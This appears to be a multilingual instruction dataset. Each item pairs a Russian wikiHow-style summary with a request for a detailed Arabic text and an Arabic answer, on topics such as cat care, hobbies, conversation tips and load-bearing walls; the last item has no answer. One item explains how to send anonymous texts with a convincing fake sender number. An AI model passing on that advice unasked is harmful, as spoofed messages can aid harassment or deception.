Найдите новое место для кошки и ее котят. Когда выберете место, сделайте там новую лежанку. Застелите лежанку чистым, плотным полотенцем, одеялом или старым предметом одежды.

Given the above summary, write a detailed text in Arabic for it.

اسأل نفسك بعض الأسئلة قبل أن تغير مكان القطط: هل يمكنك أن تغلق تلك البقعة الجديدة على القطة بحيث لا تنقل القطة أبناءها من تلك البقعة لمكان آخر؟ هل يمكن أن تضع في تلك البقعة الجديدة صندوقًا –بمثابة سرير- للقطة لترتاح فيه؟ هل هناك مكان آمن بعيدًا عن الصندوق لكي تضع فيه آنية الماء والطعام؟   ينبغي أن يكون المكان الجديد هادئًا، بعيدًا عن ضوضاء المنزل العادية، مثل: أصوات التليفزيون والهاتف والراديو... إلخ. ينبغي أن يكون المكان بعيدًا عن أي تيار هوائي خاصةً في حالة الطقس البارد أو وجود جهاز تكييف، والمثالي هو أن تكون درجة حرارة الغرفة ما بين 24 إلى 27 درجة مئوية، لذلك قد تكون الخزانة الموجودة في غرفة الضيوف أو أحد الغرف غير المستعملة مفيدة لهذا الغرض، وكذلك إذا كان هناك غرفة هادئة أو ركن لغسيل الملابس أو في قبو المنزل، طالما كان دافئاً وجافًا. يمكنك أن تستخدم لهذا الغرض صندوق متين من الورق المقوى تكون أبعاده مناسبة لطول وعرض القطة الأم. يمكنك كذلك استخدام سلة جمع الملابس في المنزل واتلي قد تكون مناسبة لهذا الغرض أيضًا، شبرط أن تكون فتحاتها الجانبية أقل من 2سم تقريبًا، لأن الفتحات الأكبر من ذلك قد تكون كبيرة لدرجة أن تنسل القطط الصغيرة منها وقد يعرضهم ذلك لخطر الإصابة بالجروح أو البرد. ضع العش في أكثر البقع الهادئة في الغرفة، ثم ضع آنية الطعام والشراب في مكان مناسب. حاول أن يكون العش مُرحّبًا بالقطة الأم بنفس القدر الذي تحاول فيه أن تجعل العش دافئًا وآمنًا للقطط الصغيرة.


Найдите новое хобби или увлечение. Слушайте музыку. Мыслите более позитивно. Выйдите из зоны комфорта. Снизьте уровень стресса в вашей жизни.

Given the above summary, write a detailed text in Arabic for it.

ربما كنت لا تحظى بالمتعة بالقدر الذي تتمناه نظرًا لأنك تفعل نفس الأشياء كل يوم. اعثر على هواية جديدة لإدخال بعض الحيوية على روتينك اليومي واكتساب مهارة جديدة وإيجاد شيء يمكنك التطلع إليه يوميًا. سيجبرك وجود الهواية أيضًا على اقتطاع بعض الوقت الشخصي لنفسك كما سيجعلك أقل توترًا وأكثر استعدادًا للمرح.  استكشف الجانب الفني لديك. تعلم كيفية الرسم أو التقاط الصور بجودة احترافية. سوف يغير التصوير الفوتوغرافي طريقة رؤيتك للعالم وسيجعل حياتك اليومية أكثر متعة. استمتع بالتعبير عن نفسك من خلال الكتابة. اكتب قصيدة أو مسرحية أو قصة قصيرة واستغرق في المشاعر. ليس عليك أن تكون نجيب محفوظ أو أحمد شوقي لتشعر بالسعادة والرضا. اختر رياضة فردية جديدة. جرّب ممارسة الجري أو السباحة أو اليوجا. احرص على الالتزام بممارسة تلك الرياضة –أيًا ما كانت– مرة واحدة على الأقل في الأسبوع حتى تعرف أنه يمكنك قضاء وقت ممتع بمفردك. اكتسب مهارة جديدة. عادة ما يكون اكتساب المهارات الجديدة أمرًا ممتعًا، سواء كان ما ستتعلمه هو كيفية الحياكة أو التحدث باللغة اليابانية أو إصلاح السيارة. من المعروف جيدًا أن الموسيقى تساعد في تقليل التوتر وترفع الحالة المزاجية. استمع إلى الموسيقى التي تحبها عندما تشعر بالتوتر واجعل الموسيقى جزءًا من حياتك حتى تصبح عادة.  انظر للإجهاد باعتباره 'تنبيهًا' يذكرك بالحاجة إلى الموسيقى. الإجهاد (تنبيه) يحثك على الاستماع إلى الموسيقى (روتين) التي بدورها تضعك في حالة مزاجية أفضل. . التفكير الإيجابي وسيلة رائعة لوضع الأمور في نصابها الصحيح وإضفاء معانِ جديدة على الأشياء القديمة نفسها ومن ثم فتح الباب لمزيد من المتعة. سوف تنير الإيجابية حياتك بالكامل، حيث يصبح الروتين اليومي والأصدقاء والأهداف أكثر جاذبية عندما تتعلم أن تحتفي بالجوانب الإيجابية في كل موقف، لذا توقف عن القلق حيال الأمور الصغيرة التي يمكن أن تسوء وفكّر بشكل أكثر إيجابية:  حدّد جميع الأشياء التي تشعر بالامتنان لوجودها. اكتب جميع الأسماء والأشياء التي تحبها في حياتك. سيجعلك ذلك تشعر بمزيد من التفاؤل خلال يومك. فكر في أفضل السيناريوهات الممكنة بدلًا من السيناريو الأسوأ. عندما تجد نفسك خائفًا من أسوأ الاحتمالات، واجه أفكارك السلبية بأفكار إيجابية أقوى. تجنب التذمر أو الشكوى. لا بأس من الشكوى من حين لآخر، لكن إذا كنت تتذمر من كل شيء تظنه على غير ما يرام، فسوف تفسد بذلك...


Найдите номер брони в электронном письме от Expedia. Нажмите «My Trips» (Мои поездки) на сайте https://www.expedia.com. Авторизуйтесь в своем аккаунте. Нажмите «Upcoming Trips» (Предстоящие поездки), а затем нажмите на свою бронь отеля. Нажмите «Cancel Room» (Отменить бронь) справа на экране. Завершите процесс аннулирования.

Given the above summary, write a detailed text in Arabic for it.

يفترض أن تتلقى رسالة بريد إلكتروني تأكيدية من شركة إكسبيديا بعد حجز فندق مع الشركة، وتعرض هذه الرسالة تفاصيل الحجز ورقم مخطط الرحلة. جهّز رسالة البريد الإلكتروني هذه إذًا لتسهيل عملية إلغاء الحجز. يظهر رابط "رحلاتي" أعلى الجهة اليمنى من صفحة إكسبيديا الرئيسية ويؤدي النقر عليه إلى فتح صفحة تسجيل الدخول التي تسمح لك بالوصول إلى تفاصيل عطلتك. استخدم عنوان البريد الإلكتروني وكلمة المرور المستخدمين لحجز الرحلة لتسجيل الدخول إلى حسابك، علمًا بإمكانية استخدام عنوان بريدك الإلكتروني ورقم مخطط الرحلة إن لم تكن تتذكر كلمة المرور التي أنشأتها. انقر بعد ذلك على زر "إرسال" لتسجيل الدخول إلى حسابك وعرض مخططات الرحلات. ابحث عن حجز الفندق في لسان تبويب "الرحلات القادمة" ثم انقر على حجز الفندق بعد إيجاده لعرض تفاصيل الحجز.  اقرأ مخطط الرحلة لتعرف ما إن كان قابلا للاسترداد أو غير قابل للاسترداد. يسمح لك ذلك بمعرفة ما إن كان بإمكانك استرداد المبلغ المالي المدفوع. تكون معظم حجوزات الفنادق قابلة للاسترداد كليًا شريطة إلغاء الحجز قبل الموعد النهائي الذي يحدده الفندق. يمكن أن يتاح لك إلغاء الحجز لتحصل على استرداد للمبلغ المدفوع خلال 24 ساعة من الحجز إن كان الحجز غير قابل للاسترداد، ويمكنك قراءة "شروط الخدمة" للحصول على تفاصيل دقيقة بشأن الحجز. يفترض بعد فتح مخطط الرحلة الخاص بالحجز ظهور خيارين في الجهة اليمنى من الشاشة  لإلغاء أو تعديل الحجز، ويجب النقر على خيار "إلغاء حجز غرفة" للتوجه إلى صفحة إلغاء الحجز.  انقر على زر "تغيير" لتغيير تفاصيل الحجز عوضًا عن إلغائه. تواصل مع الفندق مباشرة لإجراء تعديلات معينة مثل التفضيلات الخاصة بالتدخين وأنواع الأسرة وإمكانات ذوي الاحتياجات الخاصة. سيؤدي النقر على زر "إلغاء حجز هذه الغرفة" الظاهر باللون الأصفر في الجهة اليمنى من الشاشة إلى إنهاء عملية إلغاء الحجز وسيتم إعادة توجيهك إلى صفحة تعرض تفاصيل الإلغاء بعد النقر على الزر. يمكن أن يستغرق رد الأموال إلى حسابك فترة تصل إلى 7 أيام عمل.


Найдите образец для подражания. Одевайтесь стильно. Бросьте вызов своим страхам. Попробуйте что-нибудь новое.

Given the above summary, write a detailed text in Arabic for it.

الجرأة ليست صفة سهل اكتسابها في المجتمع العصري. ولكن يمكن اكتسابها بتروٍ. فهناك العديد من النساء في وسائل الإعلام اللواتي أصبحن أقوى وأجرأ بمرور الوقت. لذا فلتجدي قدوةً لكِ؛ كي تلهمك. في بعض الأحيان نحتاج إلى أمثلة نقتدي بها!  هناك أمثلة بارزة مثل: بيونسيه وكيشا وريانا، وحتى تايلور سويفت لديها لحظاتها المتألقة بالجرأة. كريستين ويج وجينيفر لورنس وتينا فاي أيضًا. ومع ذلك يمكنكِ أن تتخذي قريبتكِ الجريئة تلك كمثالٍ أيضًا! لو صادفتِ امرأةً رثةَ الثياب وجريئة، فربما يكون هذا مجرد تمرد أو أنها لا تعي ما تفعله. ولكن على الجانب الآخر، لو قابلتِ فتاة ذات إطلالات رائعة، لدينا فائز هنا، فهذه الفتاة لديها كل متطلبات الجرأة. الأمر بالطبع ليس معتمدًا كليةً على الملابس والإطلالات، ولكن من شأنهم أن يساعدوا كثيرًا. فلو كانت ملابسك توحي بالجرأة، فبالتأكيد سيساعدك هذا على استشعارها بكل حواسك، وتقمص الشخصية.  "الأناقة" من أهم مفاتيح بوابة الجرأة. إذا كنتِ من متبعي موضة البانك (بالإنجليزية: punk)، فلن تستهويكِ تصاميم الملابس الراقية. ثقي باختيارك للأزياء. ما يهم أن تعرفيه هنا، هو أن اختيارك للملابس يؤثر على الآخرين من حولك --حتى أنتِ. هل تتخيلين مثلًا ارتدائك الملابس التنكرية قد يساعد في جعلك تبدين جريئةً؟ هناك هالة تحيط بالجرأة لا يجب أن يتخللها الخوف. أن تتعدي كل الحدود، مهما كلفكِ الأمر. لذا إن كانت الثقة بالنفس سهلةً، وكان التعبير عن رأيك أيضًا يسيرًا؛ فلتصعدي إلى الدرجة التالية إذًا واقهري مخاوفك --ستصبحين الأفضل. ستصيرين أكثر جرأةً وأكثر إشراقًا، فلمَ لا تبدئين؟؟  إن كانت مخاوفك تتضمن المرتفعات أو الحشرات أو التحدث أمام الجمهور؛ فلتتحدي نفسك. لا تخافين المنافسة؟ اعترفي بمخاوفك وجابهيها إذن، أنتِ صريحة، لذا من العدل أن تكوني صريحةً مع نفسك أيضًا! لا تعرفين من أين تبدئي؟ لمَ لا تقرئي مقال كيفية التغلب على الخوف؟ تتميز الفتيات الجريئات بالحيوية والفعالية، و"أي شيء" بعيد عن الملل. حيث إنهن يبحثن عن المتعة والمرح في كل مكان، فلا يوجد حقًا ما لا يمكنهن فعله. لذا كوني الفتاة التي تشارك في صف اليوجا (بالإنجليزية: Yoga) وتمارس أيضًا الفنون القتالية والرياضات الأخرى. تعلمي عزف القيثارة. حلقي بعيدًا بكل حرية.  لا تتفاجئي إذا بدأ الجميع في حذو نفس حذوك ومارسوا الرياضة أو عزفوا القيثارة. فالفتيات الجريئات هن من يبدأن الصيحات بفعلهن ما...


Найдите общие интересы и общие занятия. Заведите искренний разговор на личные темы. Делайте ей комплименты, но без сексуального подтекста.

Given the above summary, write a detailed text in Arabic for it.

يحسّن مشاركتك لممارسة بعض النشاطات مع الفتاة من علاقتك بها. غالبًا ما ستتذكر الفتاة الوقت الجيد الذي تقضيه معك، فالصداقات تبدأ عندما يتشارك الشخصان اهتماماتهما المشتركة، لذا يجب أن تجد أي اهتمامات مشتركة بينكما، حتى تقدر على جعل صداقتكما قوية.  يمكنك أن تتجنب الفهم الخاطئ لنيتك من وراء محاولة الخروج معها عن طريق إبلاغها بثمن النشاط؛ يجعلها ذلك تدرك أنك ترغب في الخروج معها كمجرد صديق لا أكثر. يمكنكما الذهاب لتناول الطعام في مطعم أو الذهاب إلى مدينة الملاهي أو حضور حفل عيد ميلاد صديق مشترك أو السباحة أو الانضمام إلى صف فني أو القيام بأي شيء يعجبكما. يمكنكما دائمًا مشاهدة الأفلام معًا إذا لم تتوافر أي نشاطات مثيرة للاهتمام. المحادثات هي طريقة البشر في تقوية علاقاتهم، خاصةً إذا كان موضوع المحادثة عاطفيًا ومقربًا للقلب. كلما دارت محادثاتكم حول حياة بعضكما البعض، كلما أصبح الرابط بينكما قويًا؛ فما يقصد بالعاطفية هنا هو الاستماع إلى مخاوفها ومشاعرها والتحدث عن مخاوفك ومشاعرك بشكل واضح.  لا تنتقدها إذا باحت لك بأحد مشاكلها، فآخر ما ترغب في سماعه منك هو أن تصرفها كان خاطئًا، وخاصةً عندما تدرك بداخلها أنها قد أخفقت بالفعل. استمع إلى وجهة نظرها دائمًا وتفهم موقفها قبل أن تعطيها نصيحتك. يمكنك أن تفتح لها بابًا للوثوق بك عن طريق طلبك لنصيحتها؛ وتزيد بذلك فرص تحمسها لمساعدتك ونصحك في حالة احتجت للنصيحة. يحفزنا تلقي المجاملات لفعل الأشياء ويجعلنا نشعر بحالة جيدة. يجب أن تمدح الفتاة على إنجازاتها دائمًا، لكن لا يجب أن تمدحها على مظهرها حتى لا تضعها في موقف حرج، طالما أن علاقتكما مقتصرة على الصداقة فقط. يفضل الاستماع إلى المجاملات التي توجهها إليك ومحاكاتها، فلا تذكر شكلها أبدًا إذا كانت لا تمدحك على مظهرك أبدًا. تجنّب قول أشياء مثل "أنتِ جميلة جدًا" أو غيرها من المجاملات العامة المبنية على مظهرها الخارجي.


Найдите общие темы. Спросите ее мнение. Используйте ваше окружение. Рассмешите ее Не превращайте разговор в односторонний монолог. Спросите о ее интересах.

Given the above summary, write a detailed text in Arabic for it.

ما أن تنطلق المحادثة بينكما، يكون عليك أن تبحث عن الأرضية المشتركة التي تجمعكما معًا. والتي تجد من خلالها المواضيع والأفكار المختلفة التي يمكن التحدث حولها. وعلى الرغم من عدم ضرورة وجود أي شيء مسبق مشترك بينكما من أجل إجراء محادثة رائعة، فإن الأرضية المشتركة -عند وجودها- تساعدك في خلق حالة التواصل بشكل أسهل. عند التحدث مع الفتيات حاول أن تجد الشيء الذي تتشاركان الاهتمام به: ممارسة نفس الرياضة، أو تشجيع نفس فريق كرة القدم، أو أن أصولكما ترجع لنفس المدينة، أو حتى صديق أو معلم مشترك، أو ذكريات المدرسة الابتدائية.   التحدث عن الأشياء المشتركة بينكما يمهد لمحادثة شيقة وللعديد من المواضيع الجديدة للحديث حولها. يمكنكما أن تبدءا الحديث حول مدى حبكما لنادي "الأهلي"، وبعد ذلك مشاركة الطرائف واللحظات التي لا تنسى من مباريات الفريق. سيمهد ذلك لظهور مواضيع أخرى متعلقة بتفضيلاتكما المتنوعة في مختلف نواحي الحياة وغير ذلك.. اجعل الأشياء المشتركة بينكما تظهر بطريقة طبيعية، بدلًا من السؤال الحثيث حول ما إذا كانت تحب نفس الأشياء التي تحبها. اجعل كذلك طرح كل الأسئلة بنهايات مفتوحة، بحيث لا تنتهى المحادثة إذا ظهر أي اختلاف بين اهتماماتكما. على سبيل المثال، بدلًا من استخدام السؤال التالي: "هل شاهدتي فيلم Frozen؟ إنه فيلمي المفضل" ، يمكنك أن تسأل: "ما هي الأفلام الجيدة التي شاهدتيها مؤخرًا؟" هذه طريقة أخرى للإبقاء على المحادثة مستمرة، ولإظهار أنك تحب التحدث معها وأنك مهتمًا بها وبأن لها قيمة مختلفة بالنسبة لك. إذا سألتها عن آرائها، بدءًا من كيف ترى الأوضاع السياسية الحالية وصولًا لرأيها في مختلف الأمور الأخرى الصغيرة والبسيطة، فإن ذلك سوف يجعلها تشعر بأنك مهتم بشخصيتها وبها كإنسانة، وأنك تُقدر ما تقوله وما تفكر به. سيُظهر لها ذلك أنك لست فقط راغبًا في الاقتراب منها لمجرد أنها فتاة جميلة، ولكن أنك أيضًا تحترمها وتقدرها وتهتم بها.  لا تسألها نوعية الأسئلة التي تكون إجاباتها "نعم" أو "لا" فقط. لكن اسأل الأسئلة ذات النهايات المفتوحة، بحيث تتيح لها الفرصة للتحدث. استخدم "ما هو رأيك في.. ؟" بدلًا من "هل تظنين أن.. ؟" إذا كنت متوترًا وتشعر بأن المحادثة تصبح أكثر خفوتًا ثانية بعد أخرى، فانظر حولك وحاول أن تستخدم الأشياء المحيطة بك لصالحك. قد تجد نشرة إعلانية لإحدى الحفلات خلفك، فاسألها إن كانت تحب تلك الفرقة الموسيقية أم لا. قد تكونا...


Найдите общий интерес. Задавайте ему открытые вопросы Слушайте Задавайте ему интересные вопросы. Обсудите поп-культуру. Закончите на высокой ноте.

Given the above summary, write a detailed text in Arabic for it.

إيجاد اهتمام مشترك هو أفضل ما يمكنكِ فعله. سوف تسير المحادثة بسلاسة أكبر عندما تجدي بينك وبينه موضوعًا يحب كل منكما الحديث عنه. حتى إن كان شيئًا لا تعرفين عنه الكثير، فأظهري اهتمامكِ بطرح العديد من الأسئلة وتركه يقوم بمهمة الحديث.   مثال: إن اكتشفتِ أن كليكما يحب مشاهدة كرة القدم، فاسأليه عن فريقه المفضل وعمن يظنهم أفضل اللاعبين وما إن كان يظن أنهم سيصلون للنهائي هذا العام. بمجرد دفعه للبدء، لن يتوقف، ومن المرجح أنه سيظن أنكِ رائعة لاهتمامكِ بالأمر. انتبهي للتلميحات المتعلقة باهتماماته من ملابسه أو مكتبه أو ملحقاته. إن كان يرتدي قميص فرقة موسيقية فهو يحب الموسيقى. إن كان لديه صورة ركوب أمواج على خلفية جهازه، فهذا مؤشر مؤكد على أنه يحب تلك اللعبة. يمكنكِ بهذا اختيار موضوع مناسب للحديث. . إن أردتِ حقًا استمرار المحادثة ومعرفة اهتمامات وشخصية الرجل فمن المهم طرح أسئلة مفتوحة النهاية. تجنبي الأسئلة ذات إجابات الكلمة الواحدة أو الأسئلة التقليدية ذات الإجابات التلقائية التي لا تحتاج لتفكير.   تجنبي مثلًا بدء محادثة بقول "كيف حالك؟" فهو سيرد بشكل تلقائي "بخير" أو "جيد". بدلًا من ذلك جربي سؤاله "ماذا فعلت في عطلة هذا الأسبوع؟" أو "ماذا رأيك بالرئيس الجديد؟" فهذا سيجبره على التفكير بإجابته ومحاولة الإجابة بجملة مفيدة. يمكنكِ بدلًا من ذلك طرح سؤال "إما-أو" لبدء نقاش مرح. اسأليه عما إن كان يفضل مسلسل "The Simpsons" أو "Family Guy" أو إن كان يفضل موسيقى الروك أم الهيب هوب، البرجر أم الهوت دوج. أيًا كانت الإجابة فأغيظيه بسببها وستضحكان معًا. يشير أسلوب المحادثة اللبق إلى أن عليكِ الإنصات أكثر مما تتحدثين، فأنتِ لديك أذنان وفم واحد، صحيح؟ لذا بمجرد إطلاق شرارة المحادثة، تراجعي وابدئي في الإنصات لما يقوله. دعيه يتولى مهمة الحديث لبعض الوقت، فالرجال يحبون سماع صوتهم إن لم تعرفي ذلك.   حتى عندما لا تتحدثين، حاولي البقاء مندمجة في المحادثة. أقري بالأشياء التي يقولها بابتسامة أو إيماءة أو تعبير وجه.  إن الإنصات له باهتمام خلال المحادثة يؤدي لأمرين: يسمح لكِ بإعطاء انطباع جيد، لأنك تجعلينه يظن أنكِ تقدرين حديثه ومن السهل التحدث معك، كما يمنحكِ فرصة لمعرفة ما إن كنتِ تظنين أن ذلك الرجل يستحق وقتكِ أو لا. ستتمكنين من أخذ فكرة جيدة عن شخصيته من الأشياء التي يقولها، ويمكنكِ التفكير بما إن كنتِ تريدين أخذ خطوة تالية. هذا مهم لأنكِ إن...


Найдите онлайн-сервис (сайт), занимающийся анонимной отправкой текстовых сообщений. Прочитайте правила выбранного сервиса. Если нужно, введите фальшивую информацию об отправителе. Введите телефонный номер получателя. Введите и отправьте сообщение.

Given the above summary, write a detailed text in Arabic for it.

يمكنك إجراء بحث أساسي على الويب عن طريق إدخال شيء محدد، مثل الرسائل النصية من مجهول أو مراسلة نصية مجهولة مجانًا. تحظر عليك القوانين الأساسية عادة استخدام خدماته لارتكاب الاحتيال أو ملاحقة شخص أو غيرها من الجرائم، ولكن قد تتضمن قوانين إضافية متعلقة بالرسوم وتكرار الاستخدام والخصوصية وغيرها من الاهتمامات الأخرى. .  تم غلق بعض من هذه الخدمات فعليًا بسبب سوء الاستخدام، لذا يجب التحقق أن هذه الخدمات مازالت مفعلة والانتباه إلى بنود الخدمة المدرجة على الموقع. يجب إدراك أن هذه الخدمات لديها القدرة على تتبعك عن طريق عنوان بروتوكول الإنترنت. بمعنى آخر، إذا استخدمت هذه الخدمات في شيء غير قانوني أو مخادع يمكن القبض عليك. حيث تطلب منك بعض الخدمات إدخال رقم هاتفك ولكن هذا ليس هو الحال دائما. فإذا كنت بحاجة إلى كتابة رقم هاتف وهمي، يمكنك جعله مقنعًا عن طريق كتابة رمز المنطقة الخاصة بك مع رقم هاتف عشوائي. كما يمكنك أيضا اختيار رقم مزيف بوضوح، مثل 555-555-5555. . تتخطى عادة الخدمات التي تتخصص في الرسائل المجهولة خطوة إدخال رقم الهاتف. بدلا من ذلك، توفر الخدمة عادة رقم هاتف وهمي لإرسال رسالة نصية منه. تُطلب هذه المعلومات في جميع الحالات، ادخل رقم الهاتف الشخص المكون من عشرة أرقام بما في ذلك رمز المنطقة. ستطلب منك بعض خدمات الرسائل النصية المجهولة تحديد مشغل شبكة الهاتف. اكتب الرسالة وقم بمراجعة أي شروط أخيرة يطلبها الموقع، ثم اضغط زر إرسال.   سيستقبل الشخص المرسل إليه رسالة نصية من مجهول. بعض خدمات الرسائل النصية المجانية لها عدد حروف محدد. ويكون هذا العدد المحدد عادة مثل العدد المحدد للرسائل النصية المرسلة من الهاتف الخلوي، ويمكن أن تتراوح بين 130 حرف إلى 500 حرف.


Найдите особенный нежный аромат. Будьте загадочны и удивительны. Понемногу оставляйте свои вещи в его квартире или автомобиле. Заставьте его желать большего.

Given the above summary, write a detailed text in Arabic for it.

اعثري على رائحة رقيقة واستخدميها كل مرة تقابلين من تحبين. سيبدأ هو بربط تلك الرائحة بك، وهذا يعطيه إحساسًا آخر بالاشتياق إليك. عندما لا تكونين برفقته سيبدأ بالاشتياق لرائحتك وسيتطلع إليها دائمًا.   تأكدي ألا تضعي الكثير من العطر وإلا قد ينزعج من الرائحة النفاذة. ضعي فقط القليل مما يسمح لشخص قريب منك باستنشاقها. ولخلق هذا التأثير بالعطر، يجب عليك وضع نفس نوع العطر كل مرة تتواجدين معه. هذا ينجح أيضًا إن أردت جعل حبيبك السابق يشتاق إليك. إن تواجدتِ بمكان وعلمتِ بحضوره وكنتِ تضعين العطر الذي اعتدتِ على وضعه فسيتذكر الأيام حين كانت تجمعكما علاقة عاطفية. إن كنتِ واضحة تمامًا عندما تقابلين الشاب، فهذا لن يترك له أي شيء يندهش به لاحقًا. لكن بدلًا من ذلك، يجب عليك ذكر شيئًا عن نفسك كل مرة تتقابلان فيها. هذا سيجعله يرغب في الاستماع للمزيد منك وسيجعله ينتظر ليكتشف ما الذي يمكن أن يكتشفه عنك لاحقًا. كوني عفوية معه، فإن اعتدتما على الخروج لتناول الطعام دائمًا، فحاولي دعوته لفعل شيء جديد. فهذا سيثيره ويجعله يستمر في استنتاج ما الذي قد تفعليه لاحقًا. إن تركتِ بعض الأشياء التي تستخدمينها في سيارته، فهذا سيذكره بك دائمًا وعندها سيفكر بك وسيشتاق للتواجد معك. الأشياء الشخصية الصغيرة التي لا تحتاجينها يوميًا ستخلق ذكرى رقيقة في عقله عنك.   فرشاة شعر. حلى. مستحضرات تجميل. قلم أو مفكرة. صورة صغيرة. في أي مرة تخرجين فيها مع الشخص الذي تحبينه، يجب عليك دائمًا أن تتركيه يتوق للمزيد: المزيد من الاقتراب، المزيد من الضحك، المزيد من المرح، المزيد من الحديث، فأنتِ تريدينه يرغب في المزيد منك. يمكنك فعل هذا بأخذ مساحتك ووقتك وحدودك في الوقت الذي تقضيانه معًا.   قللي من الحديث فأنتِ يتوجب عليك العودة لمنزلك في وقت محدد. قومي بلفتة صغيرة في نهاية اليوم ليرغب في المزيد منك. تحكمي في الأمر عندما يصل لمساحتك الشخصية. أنتِ على الأغلب سترغبين في قضاء مزيد من الوقت معه، ولكن عندما تغادرين كما خططتِ فستجعلينه يرغب بقضاء مزيد من الوقت معك.


Найдите ось Х. Найдите точку, в которой график пересекает ось Х. Запишите координаты точки пересечения с осью Х.

Given the above summary, write a detailed text in Arabic for it.

يحتوي الرسم البياني الإحداثي على محور واي (ص) ومحور إكس (س). المحور إكس هو الخط الأفقي (الذي يبدأ من اليسار إلى اليمين). المحور واي هو الخط العمودي (الذي يشير لأعلى ولأسفل). من المهم النظر لمحور إكس عند تحديد التقاطع إكس. تقاطع الإكس هو هذه النقطة. إذا طُلب منك العثور على تقاطع إكس استنادًا لرسم بياني، فمن المحتمل أن تكون النقطة رقمًا دقيقًا محددًا (على سبيل المثال، في النقطة 4)؛ مع ذلك عادةً ما يتعين عليك التقريب عند استخدام هذه الطريقة (على سبيل المثال، عند نقطة تقع ما بين 4 و5. يُكتَب بالترتيب التالي (x,y){\displaystyle (x,y)} وهي ما يمثل إحداثيات النقطة على الخط. الرقم الأول من الزوج هو النقطة التي يعبر فيها الخط محور الإكس (نقطة تقاطع الإكس). الرقم الثاني سيكون دائمًا 0، نظرًا لأن نقطة على المحور السيني لن يكون لها قيمة واي. على سبيل المثال، إذا كان هناك خط يعبر المحور إكس عند النقطة 4، يكون زوج الإحداثيات للتقاطع إكس هو (4,0){\displaystyle (4,0)}.


Найдите партнеров по обучению с похожими привычками. Проверяйте знания партнера, чтобы учиться самому. Создайте группу для совместного обучения.

Given the above summary, write a detailed text in Arabic for it.

تعرف على زملائك في الصف واسألهم بانتباه عن أساليبهم في المذاكرة. ابحث عن شريك دراسي ممكن أن يتوافق معك ليشاركك المذاكرة من خلال معرفة ما إذا كانت مواعيده مقاربة لموعد دراستك خلال اليوم وإذا كانت الطرق التي يستخدمها مشابهة لطرقك في التعلّم. اسأله عما إذا كان يرغب أن يذاكر معك في وقت ما، فقد يجعل هذا الدراسة أقل عزلة ومللًا.  على سبيل المثال، إذا كنت تفضل المذاكرة في المكتبة ليلًا، فابحث عن شريك دراسة يفعل الشيء نفسه. اسأل زملائك الطلاب عن عاداتهم الدراسية بقول شيء من هذا القبيل: "أحتاج دائمًا إلى الجلوس في مكتبة حتى أستطيع المذاكرة بصورة جيدة. ما الذي يناسبك؟" تجنب الدراسة مع الأصدقاء أو زملاء الدراسة الذين يتصرفون بشكل يجعلهم سبب تشتيت قوي بحد أنفسهم. ناقش مواد الدراسة مع شريكك للحصول على وجهات نظر جديدة عنها وفهمها بشكل أفضل. اسأله في محتوى المادة التعليمية لاختبار ما استوعبه، واجعله يفعل نفس الشيء معك. يمكنك تحويل هذا إلى لعبة ممتعة من خلال تسجيل نقاط والإجابة على الأسئلة بأسرع ما يمكن. اطرح الأسئلة إذا كنت تجري اختبارًا شفهيًا وراجعا الإجابات الصحيحة سويًا بعد ذلك. قم بتجميع عدد من شركاء الدراسة الذين لديهم هدفًا مشتركًا، مثل الدراسة لاجتياز امتحان كبير. حدد مواعيد منتظمة للالتقاء في مكان يستوعب الجميع، مثل: غرفة دراسة في المكتبة. حقق أقصى استفادة من ديناميكية المجموعة من خلال تقسيم مهام الدراسة والعمل مع بعضكم على حل المسائل الصعبة.  الدراسة مع مجموعة من الأشخاص هي طريقة رائعة للتعامل مع الموضوعات التي لا تفهمها أو لا تستمتع بمذاكرتها ببساطة. سوف يضفي الجانب الاجتماعي في المقابلات الخاصة بالمذاكرة متعة على الدراسة، وهي طريقة جيدة لتكوين صداقات جديدة.


Найдите первоначальные планы здания, если вы можете получить к ним доступ. Изучите свои чертежи. Понимайте последствия вносимых изменений для здания.

Given the above summary, write a detailed text in Arabic for it.

قد يستحيل تخمين الحوائط الحاملة من غيرها بدقة حسب هيكل بيتك. يمكن أن تكون النماذج الأصلية لبيتك أو مخططات البناء بمثابة المصادر القيمة في هذه الحالة. يمكن أن يمنحك نموذج تصميم البيت تصورًا عن أماكن الكمرات والحوائط الخارجية الأصلية وأكثر. تستطيع استخدام هذه المعلومات لاتخاذ قرارات واعية حين يتعلق الأمر باكتشاف ما اذا كانت حوائط بعينها حاملة.   من الشائع ألا يمتلك أصحاب المنازل نسخة من التصميم الأصلي للبيت. لحسن الحظ يمكنك إيجاد نموذج له فيما يلي:  في مكتب البلدية بحوزة الملاك الأصليين بحوزة عامل البناء الأصلي و/أو شركة المقاولات   وأخيرًا من الممكن أن تعيد رسم تصميم بيتك بمساعدة مهندس معماري، لكن هذا قد يكون مكلفًا. احصل على نموذج التصميم الأصلي لبيتك وأنفق وقتًا كافيًا للتأكد من كون حائط معين حاملًا أم لا. ابحث عن الدلائل الموضحة أعلاه، هل يحتوي على أي كمرة رئيسية؟ هل العوارض الأرضية متصلة به بالتوازي؟ هل كان حائطا خارجيًا في الأصل؟ لا تهدم حائطا حتى تثق تمامًا أنه غير حامل حيث أن بعض خبراء الإصلاحات المنزلية المتمرسين لا يستطيعون تمييز الحوائط الحاملة دومًا بناءً على الدلائل المرئية وحدها. تزداد صعوبة معرفة الحوائط الحاملة من غيرها كلما زادت التجديدات في منزلك بشكل عام. يمكن أن تحول الحوائط غير الحاملة إلى حاملة (والعكس) أثناء تجديد المنزل. يتطلب تعليق عوارض في السقف مثلًا أو قطعها أو إضافة سلالم وإضافة مساحة للعلية تغيير الحوائط غير الحاملة إلى حاملة في الغالب. ضع هذه التغيرات في الحسبان عندما تقرر أي الحوائط حامل، إذا أظهرت الرسوم حوائطا لم تعد موجودة في البيت أو رأيت في البيت حوائطا غير موجودة في التصميم فاكتشف التعديلات التي أجريت قبل المتابعة.  اتصل بملاك البيت السابقين وعمال البناء لمزيد من المعلومات، إذا لم تكن واثقًا بشأن تاريخ تجديداته.


Найдите подходящее время. Извинитесь перед человеком лично. Выберите тихую обстановку для извинений. Убедитесь, что у вас есть достаточно времени, чтобы поговорить с обиженной стороной.

Given the above summary, write a detailed text in Arabic for it.

